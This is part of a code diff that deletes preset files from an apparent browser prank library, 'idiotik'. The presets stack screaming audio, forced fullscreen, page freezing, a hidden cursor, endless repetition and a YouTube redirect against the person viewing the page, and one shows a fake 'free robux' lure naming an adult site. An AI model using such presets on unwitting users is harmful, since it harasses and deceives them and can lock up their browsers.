- idiotik.start(idiotik.effect("rainbow"))();
12
- idiotik.start(idiotik.scream())();
13
- });
package/presets/mild.js DELETED
@@ -1,10 +0,0 @@
1
- /**
2
- * idiotik preset: mild
3
- * annoying but survivable. barely.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.volume(100);
7
- idiotik.start(idiotik.effect("shake"))();
8
- idiotik.start(idiotik.say("gotcha lol"));
9
- idiotik.repeat(5);
10
- idiotik.continue
@@ -1,18 +0,0 @@
1
- /**
2
- * idiotik preset: nuclear
3
- * god help them. seriously.
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.volume(5000);
7
- idiotik.start(idiotik.effect("shake"))();
8
- idiotik.start(idiotik.effect("rainbow"))();
9
- idiotik.start(idiotik.effect("glitch"))();
10
- idiotik.start(idiotik.effect("spin"))();
11
- idiotik.start(idiotik.effect("matrix"))();
12
- idiotik.start(idiotik.scream())();
13
- idiotik.start(idiotik.fullscreen())();
14
- idiotik.start(idiotik.freeze())();
15
- idiotik.start(idiotik.cursor("none"))();
16
- idiotik.start(idiotik.say("💀💀💀 YOU ARE SO COOKED 💀💀💀"));
17
- idiotik.repeat("inf");
18
- idiotik.continue
@@ -1,6 +0,0 @@
1
- /**
2
- * idiotik preset: rickroll
3
- * never gonna give you up.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.start(idiotik.redirect("https://www.youtube.com/watch?v=dQw4w9WgXcQ"))();
package/presets/robux.js DELETED
@@ -1,16 +0,0 @@
1
- /**
2
- * idiotik preset: robux
3
- * free robux guaranteed
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.volume(200);
7
-
8
- idiotik.script()
9
- idiotik.id("robux")
10
- idiotik.start(idiotik.say("FREE ROBUX AT PORNHUB.COM!!!"));
11
- idiotik.repeat("inf");
12
- idiotik.continue
13
- idiotik.end()
14
-
15
- idiotik.start(idiotik.effect("rainbow"))();
16
- idiotik.start(idiotik.cursor("explode"))();
@@ -1,23 +0,0 @@
1
- /**
2
- * idiotik preset: villain
3
- * slow burn. maximum dread.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.volume(150);
7
-
8
- idiotik.script()
9
- idiotik.id("villain")
10
- idiotik.start(idiotik.effect("matrix"))();
11
- idiotik.continue
12
- idiotik.wait(2000).then(() => {
13
- idiotik.start(idiotik.effect("glitch"))();
14
- });
15
- idiotik.wait(4000).then(() => {
16
- idiotik.volume(500);
17
- idiotik.start(idiotik.effect("shake"))();
18
- idiotik.start(idiotik.scream())();
19
- idiotik.recursive("yes");
20
- idiotik.start(idiotik.say("did you really think you were safe 🗿"));
21
- idiotik.repeat("inf");
22
- });
23
- idiotik.end()